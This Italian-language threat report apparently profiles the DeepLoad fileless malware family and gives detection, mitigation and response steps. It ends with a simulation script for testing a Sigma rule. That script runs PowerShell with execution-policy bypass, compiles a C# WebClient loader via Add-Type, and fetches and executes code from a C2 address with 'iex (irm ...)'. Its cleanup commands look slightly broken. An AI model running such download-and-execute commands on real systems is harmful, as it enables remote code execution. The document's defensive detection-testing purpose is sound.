Malware DeepLoad abbina la consegna ClickFix con l’elusione generata dall’AI

Riassunto

DeepLoad è una famiglia di malware senza file distribuita tramite l’ingegneria sociale di ClickFix. Si basa su un loader PowerShell offuscato, iniezione di shellcode in memoria in processi affidabili di Windows e “rumore” generato da IA per ridurre la precisione del rilevamento statico. Il loader stabilisce la persistenza utilizzando un’attività pianificata e sottoscrizioni di eventi WMI, può propagarsi tramite supporti USB e ruba credenziali attraverso sia un’estensione del browser canaglia che un componente companion filemanager.exe.

Indagine

Il rapporto descrive l’accesso iniziale a partire da un comando PowerShell eseguito dalla vittima, seguito dal recupero del loader tramite mshta.exe. Il loader utilizza Add-Type per generare una DLL temporanea a runtime, quindi inietta lo shellcode in LockAppHost.exe usando l’iniezione basata su APC. La persistenza è mantenuta attraverso un’attività pianificata e una sottoscrizione di eventi WMI nascosta in grado di ristabilire l’infezione anche dopo la pulizia, con una finestra di ritardo approssimativa di tre giorni. Il furto di credenziali è attribuito a filemanager.exe insieme ad un’estensione del browser malevola che opera in parallelo.

Mitigazione

Abilita Log dei Blocchi Script PowerShell e allerta su catene di esecuzione PowerShell sospette. Verifica l’attività di rete in uscita di mshta.exe, monitora la creazione inaspettata di attività pianificate e rileva l’uso anomalo di QueueUserAPC indicativo di iniezione APC. Durante la bonifica, elenca ed elimina esplicitamente le sottoscrizioni di eventi WMI piuttosto che affidarti solo sulla pulizia dei file/registro. Ruota le credenziali esposte e rimuovi eventuali estensioni del browser non autorizzate per interrompere i percorsi di raccolta credenziali.

Risposta

Se viene rilevata un’attività di DeepLoad, isola l’host, interrompi l’attività malevola di PowerShell e termina tutti i processi iniettati. Rimuovi l’attività pianificata ed elimina la sottoscrizione WMI associata, quindi eradica filemanager.exe e l’estensione del browser malevola. Ruota tutte le credenziali potenzialmente compromesse, sanitizza qualsiasi supporto USB collegato e verifica il sistema per artefatti di iniezione residua prima di rimetterlo in servizio.

Parole chiave: DeepLoad, ClickFix, malware senza file, loader PowerShell, mshta.exe, Add-Type, shellcode in memoria, iniezione APC, QueueUserAPC, LockAppHost.exe, persistenza di attività pianificate, sottoscrizione di eventi WMI, propagazione USB, estensione del browser malevola, furto di credenziali.

Esecuzione di Simulazione

Prerequisito: Il Controllo di Prevolo Telemetria & Baseline deve essere passato.

Razionale: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTPs identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narra tivo dell’Attacco & Comandi:

  1. Accesso iniziale: L’attaccante ha una sessione PowerShell a basso privilegio sull’host della vittima.
  2. Ignora politica di esecuzione: Invocano PowerShell con -ep Bypass per ignorare qualsiasi restrizione di esecuzione script.
  3. Compila un payload .NET: Usando Add-Type, integrano una piccola classe C# che, quando istanziata, esegue una richiesta web al server di C2 (http://10.0.0.5:3015/index).
  4. Scarica & esegui script remoto: L’attaccante dirige il risultato di irm (Invoke‑RestMethod) in iex, eseguendo lo script malevolo in memoria.
  5. Telemetria risultante: La riga di comando registrata dal SO contiene le tre stringhe richieste (-ep Bypass, Add-Type, iex(irm http://…:3015/index)), soddisfacendo la regola Sigma.

• Script di Test di Regressione:

  # Esecuzione malevola tipo DeepLoad
  # Questo script riproduce esattamente il modello di comando richiesto per attivare la regola Sigma.
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # Invoca PowerShell con il flag di bypass, compila il payload, quindi esegui lo script remoto
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• Comandi di Pulizia:

  # Rimuovi eventuali file temporanei o assembly caricati (se persistiti)
  Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # Facoltativamente, cancella la trascrizione di PowerShell (se abilitato)
  Clear-Host

Fine del Rapporto